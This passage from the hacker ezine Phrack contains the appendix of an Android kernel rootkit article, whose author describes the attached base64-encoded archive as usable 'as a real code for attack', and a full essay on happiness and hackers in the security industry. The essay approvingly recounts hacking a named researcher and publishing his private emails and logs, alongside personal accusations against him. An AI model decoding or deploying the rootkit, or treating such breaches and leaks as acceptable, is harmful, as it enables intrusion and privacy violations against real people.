[10] "Android LKM Rootkit" by fred [http://upche.org/doku.php?id=wiki:rootkit]

[11] "This is not the droid you're looking for..." by Trustwave [DEFCON‑18‑Trustwave‑Spiderlabs‑Android‑Rootkit‑WP.pdf]

‑‑[ 8 ‑ Appendix: earthworm.tgz.uu

I attach a demo code to demonstrate the concepts which I explained in this paper. This code can be used as a real code for attack or just a proof‑ofconcept code. I wish you use this code only for your study not for a bad purpose.

<++> earthworm.tgz.uu

begin‑base64 644 earthworm.tgz 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

====

<‑‑>

Happy Hacking

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x07 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Happy Hacking ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Anonymous ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑

1. Introduction

2. The Happiness Hypothesis

3. The consulting industry

4. Rebirth

5. Conclusions

6. References

‑‑‑‑‑‑

‑‑[ 1 ‑ Introduction

I've been fascinated with happiness since my college days. Prior to 1998 psychology focused on fixing people who had problems in an attempt to make them more "normal". However, recent trends in psychology have brought a whole new field called positive psychology. Positive psychology, or the science of Happiness, brings a wealth of research on how normal people can achieve greater levels of happiness. As you delve into the subject you will discover that most of the conclusions associated with the research into the topic of happiness actually runs counter to the popular culture understanding of what brings happiness.

In this article I'd like to expose some ideas that directly impact the hacking scene and specifically as it relates to working in the security industry. I'd also like to introduce the idea of hacking happiness.

If you could spend a percentage of your time learning about happiness, how much happier do you think you could be? Hacking happiness means cutting the path to happiness straight to what makes you happy by researching happiness just like you would any security topic.

Since the article is focused on Happiness as it relates to hacking, there are many subjects of positive psychology that we are not going to touch or mention. However, if you are interested in reading more about the field, Wikipedia has an excellent article on the subject:

‑ http://en.wikipedia.org/wiki/Positive_psychology

‑‑[ 2 ‑ The Happiness Hypothesis

Most of the ideas introduced by this article are borrowed from "The Happiness Hypothesis" by Jonathan Haidt, which I recommend if you'd like to dig deeper into the subject.

The first thing about happiness that you should know that research has proved is:

‑ "People are very bad at predicting what will bring them happiness." ‑

To expose this idea let me provide an example. Researchers took a look at 2 different groups of people that had been through completely opposite situations, the first group are lottery winners, and the second group are people that became paraplegics through some type of accident. Both groups were interviewed at 2 different times, once just after the event (winning the lottery or becoming paraplegic), and once more again several years later. The results of their interviews are quite astonishing.

The first group, the lottery winners, as you might expect, had very high happiness levels when interviewed shortly after they had won the lottery. The second group, those who were newly paralyzed had a very low level of happiness, some were even so unhappy that they regretted not dying during the accident. These findings are quite obvious and shouldn't be surprising to you; however what is astonishing are the results of the second interview.

Years later, the lottery winners were interviewed again, this time the results were quite surprising. As it turns out, their happiness level had dropped significantly to levels so low that most of the winners where more unhappy now than before winning the lottery. In contrast, the happiness of the group of paraplegics was very high, equal to or higher than before the accident. So what really happened?

To explain this, let me describe the circumstances of the lottery winners. Having won the lottery, they thought they had achieved everything they wanted, since popular culture equates happiness with material wealth, and so their short term happiness level grew quite high. After some time though, they started to realize that the money wasn't bringing them the happiness they once thought they would achieve when they would be rich. Frustrated at the possibility that they would never be able to achieve full happiness, their happiness level started dropping. To try to compensate for their decreasing happiness level, they started spending money on material things, but that was no longer a happiness source. Further exacerbating the problem, this new wealth brought new problems (to quote Notorious B.I.G. "Mo money mo problems"). Now family, friends and colleagues were regarded as a threat, thinking that all they wanted is to take advantage of their new wealth. People around them started asking for loans and favors, which led them to distant themselves from their families and friends. Again, in order to compensate, they started trying to make new friends that had their own wealth status. But breaking the bonds with old friends and family that had been established for most of their lives and trying to establish new ones, brought a feeling of loneliness that directly correlates to their happiness levels significantly dropping.

On the other hand those who had become paraplegics relied heavily on their families and friends to help them through the rough times, thus strengthening the bonds between them. And just like the lottery winners, the new circumstances brought back old friends from the past. But unlike with lottery winners who's friends came back looking to take advantage of their new wealth, these old friends came back for the opposite; they sought to help. Another factor associated with the increased happiness was the fact that the group that was paralyzed had to learn to cope with being paraplegics. Learning to cope with being paraplegics brought an immense sense of achievement that made their happiness levels go up. After a few years their family relations were stronger than ever; friends were closer and their sense of achievement from having overcome their limitations had brought them an immense amount of happiness that, when compared to their happiness levels before the accident, was equal and most of the times higher.

If someone were to ask you whether you would choose to become paraplegic or win the lottery, it is obvious that everyone would choose to win the lottery; however this choice goes against research which has shown that by becoming a paraplegic you would ultimately be happier.

Obviously I am not saying this is the path you need to choose (if you are thinking of doing this, please stop!). I am merely trying to demonstrate that the actual road to happiness may force you to look at things in a very different and counter intuitive manner.

‑‑[ 3 ‑ The Security Industry

In recent years I've seen how many hackers join the information security industry and many of them having the illusion that hacking as their day job will bring them a great deal of happiness. After a couple of years they discover they no longer enjoy hacking, that those feelings they used to have in the old days are no longer there, and they decide to blame the hacking scene, often condemning it as "being dead".

I'll try to explain this behavior from the science of happiness point of view.

Let me start by looking at Journalism. The science of happiness has shown that people are happy in a profession where:

‑ "Doing good (high quality work) matches with doing well (achieving wealth and professional advancement) in the field." ‑

Journalism is one of those careers where doing good (making the world better by promoting democracy and free press) doesn't usually lead to rising as a journalist. Julian Assange, the chief editor of Wikileaks, is a pretty obvious example of this. By firmly believing in free press he has brought upon himself a great deal of trouble. In contrast, being manipulative and exaggerating news often leads to selling more news, which in turn allows for the sales of more ads, which correlates to doing well. But by doing so, journalists have to compromise their beliefs, which ultimately makes their happiness levels go down. Those who decide not to compromise feel angry at their profession when they see those who cheat and compromise rise high. This feeling also leads to their happiness levels to drop. Journalism is therefore one of those professions where its practitioners tend to be the most unhappy.

Hacking on the other hand doesn't suffer from this issue. In the hacking scene doing great work is often recognized and admired. Those hackers that are able to write that exploit thought to be impossible, or find that unbelievably complex vulnerability, are recognized and praised by the community. Also, many hackers tend to develop great tools which are often released as open source. The open source community shares a lot of properties with the hacking community. It is not hard to see why people enjoy developing open source projects so much. Most open source projects are community organizations lead by meritocracy; where the best programmers can quickly escalate the ranks by writing great code. Furthermore, the idea of making the code and the underlying designs widely available gives participants a feeling of fulfillment as they are not doing this for profit but to contribute to a better world. These ideals have also been an integral part of the hacking community where one of its mottos is, "Knowledge should be free, information should be free". Being part of such communities brings a wealth of happiness, and is the reason why these communities flourished without the need for any economic incentives.

Recent years however have brought the security industry closer to the hacking industry. Many hacking scene members have become security industry members once their responsibilities demanded more money (e.g. married with kids and a mortgage). For them it seemed like the right fit and the perfect job was to hack for a living.

However, the security industry does not have the same properties as the hacking or open source communities. The security industry is much more like the journalism industry.

The main difference between the hacking community and the security industry is about the consumers of the security industry. While in the hacking community the consumers are hackers themselves, in the security industry the consumers are companies and other entities that don't have the same behavior as hackers. The behavior of the security industry consumers is similar to the behavior of the consumers of journalism. This is because these companies are partially a subset of the consumers of journalism. These consumers do not judge work as hackers do; instead they are more ignorant and have a different set of criteria to judge work quality.

It is because of this, that once a hacker joins the security industry they eventually discover that doing great work no longer means becoming a better security professional. They quickly start discovering a whole new set of rules to achieve what is considered to be the 'optimal', such as getting various industry certifications (CISSP, etc), over‑hyping their research and its impact to generate press coverage, and often having to compromise their ideals in order to protect their source of income (for example the "no more free bugs", "no more free techniques" movements).

Those deciding that they don't want to be a part of this quickly realize that the ones who do are the ones that rise up. Most of them try to fix the situation by calling these people out, which often makes the person being called out likely criticized by the hacking community. But that is often not the case within the security industry were they still enjoy a great deal of success.

To illustrate further, it has become very prevalent to announce discoveries and claim that by making the vulnerability details public catastrophic consequences would ensue, as we'll see in the example below. Most of the hacking community are quick to criticize this behavior, often ostracizing the person making the claim, and in a few cases hacking them in an attempt to publicly expose them. However, this practice only has an impact within the hacking community. In the security industry an opposite effect happens and the person in question achieves a higher status that allows him to present in the top security industry conferences. This person is also praised for choosing to responsibly disclose the vulnerability thus obtaining an overall security status of guru.

To illustrate this let's look at a real world example. On July 28, 2009, during the Las Vegas based Black Hat Briefings industry conference, the ZF05 ezine was released. The ezine featured a number of well respected security researchers and how they were hacked. But one of these researchers stood out, namely Dan Kaminsky. The reason why he stood out was that one year before, a couple of months before Black Hat Briefings, Dan Kaminsky decided to announce that he had a critical bug on how DNS servers operated [0].

Moreover he announced that he had decided, for the benefit of Internet security, to release the technical details only during his Black Hat Briefings speech that year. The response to this decision was very polarized. On one side there was the "vendor" and information security industry that praised Dan for following responsible disclosure. On the other hand, some of the more prominent security people, criticized this approach [1].

Dan in turn positioned himself as a martyr, stating that everyone was going against him, but he was willing to sacrifice himself in order to protect the Internet.

When ZF05 was released, Dan Kaminsky's email spool and IRC logs were published in it. The released data included a number of emails he exchanged during the time he released the DNS bug. The emails showed exactly what everyone in the hacking community already knew; that Dan Kaminsky was anything but a martyr, and that everything was a large publicity stunt [2].

Even though the data were completely embarrassing and publicly exposed Dan Kaminsky for what he really was, a master at handling the press, this had no impact outside of the hacking community. That year, again, Dan Kaminsky took a stand in the Black Hat Briefings conference to deliver a talk, and was again praised. He was also later chosen to be the American representative who holds the backups of the global DNS root keys [3].

This demonstrates that no matter how severe a security industry figure gets owned by hackers literally (e.g. publishing their email spools and IRC logs) or figuratively (e.g. showing qualitative evidence that their research is flawed, stolen, inaccurate or simply unoriginal), these individuals continue to enjoy a great deal of respect from the security industry. To quote Paris Hilton, "There's no such thing as bad press".

With time those that choose not to compromise either live an unhappy life frustrated by these so called "hackers" that get their recognition from the security industry while they themselves are seen as security consultants who just can't market themselves, or they simply choose to change their entire career, often burned out and proclaiming that hacking is dead.

‑‑[ 4 ‑ Rebirth

Since the idea behind this paper is not to expose anyone, or complain about the security industry, we want to leave this aside and move on to what exactly a hacker can do to hack happiness.

The rebirth section is then a logical reasoning exercise on the different paths that are available to a hacker who is also part of the information security consulting community, as seen from the happiness maximization perspective.

The first path is to keep fighting. This path is quite popular; over the years we have seen many hackers forming groups and follow this path (el8, h0n0, Zero for 0wned, project m4yh3m, etc). But don't get too excited since most of the teams that follow this path eventually disintegrate; I'll try to explain the reasons why this happens. First, remember that humans are very bad at predicting what would bring them happiness. With that in mind, most of these groups form with the ideal of exerting a big change onto the security community. The problem with this approach is that they really have no control over the consumers of the industry, which is exactly where the problem really is. As these groups try to exert a change they quickly discover that even when their actions lead to undeniable proof of their arguments and are completely convincing to other hackers, they don't seem to affect regular people. Their initial victories and support from the hacking community will bring them a new wave of happiness, but as time goes frustration from not being able to have an impact beyond the hacker community will then start to build up, which leads to their level of happiness to drop, eventually disintegrating the group. You would be wise, if you are thinking of taking this path not to take my word for it, but just look at the history of the groups that precede you, and then decide.

Your other path is simply to ignore all of this and just keep working on the sidelines as a security consultant. As someone who was once part of the security industry ‑ being on the sidelines without compromising my ideals while I saw others which had little skills rise ‑ I can honestly tell you it will make you sick. For some people, professional success is a very important part of their overall happiness. So if you choose to follow this path first make sure that professional success is not a very important part of your life. If that is the case, instead focus on other activities from which you can derive happiness. One great choice is participating in open source projects, or building one yourself. There are of course many other alternatives like family, sports etc, all of which can bring you immense happiness. On the other hand, if your personality is that of someone very ambitious, following this path will make you very unhappy for obvious reasons.

Finally there is one more path. Simply accepting this is how the security industry works (these are the rules of the game), and playing the game. In this scenario, as you begin to rise you will discover that in order to move higher you are going to have to make some ethical compromises, and by doing so to rise up in the information security industry. Unfortunately, even though your professional success will bring some happiness with it, you will start to feel as if you sold your "soul" to the devil. This feeling will start bringing your happiness levels down, and the more you compromise the bigger impact this will have. At the same time, you will start hating your job for forcing you to compromise your ideals. This in effect will cause your professional success to no longer bring you any happiness. The combination of both hating your job and compromising your ideals will bring your happiness levels very low. Eventually you will falsely reach the conclusion that you no longer like hacking, that hacking is dead, and this is why you feel so unhappy.

Fortunately for you, the security industry is not the only option. Your skills and intelligence will be valued in different industries. It is up to you to decide what kind of career you would like to pursue. Many hackers choose to work as software engineers, which is a very good option since they already poses a great deal of knowledge in this area. But you are not restricted to the software engineering industry. In fact I've seen cases were hackers have chosen careers that have nothing to do with computing, far away actually, such as music or art, and they are quite successful and happy.

This does not mean you are giving up on hacking; in fact it is quite the opposite. Many people, including myself, do hacking as a hobby and choose to participate in a different industry for our living income. If you choose this path you will realize that as being part of this community will bring you a lot of happiness. Deep inside you already know this if you are reading this article. The real reason you started hacking in the first place was not because you were good at it, or because you liked computers; it was because it made you happy and there is no reason why this has to change.

For those of you that have been in the security industry for a while, which are unhappy with the current situation and are blaming the hacking community for this, don't. Understand that it is not the hacking community which has problems but the security industry and that once you start hacking as a hobby again those feelings you once had will come back.

‑‑[ 5 ‑ Conclusions

I hope I brought some understanding to what makes people happier, what you should look into any industry you seek to work in if you want to maximize your happiness, and more importantly how the security industry behaves.

Hopefully some of you will be able to make better decisions, and ultimately the conclusion should be:

‑ Hacking will never die, because ultimately we all want happiness, and hacking brings happiness. ‑

HAPPY HACKING!

‑‑[ 6 ‑ References

[0] http://dankaminsky.com/2008/07/09/an‑astonishing‑collaboration/

[1] https://lists.immunityinc.com/pipermail/dailydave/2008‑July/005177.html

[2] http://attrition.org/misc/ee/zf05.txt

[3] http://www.root‑dnssec.org/tcr/selection‑2010/

Practical cracking of white-box implementations

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x08 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ Practical cracking of white‑box implementations ]=‑‑‑‑‑‑‑‑‑=|

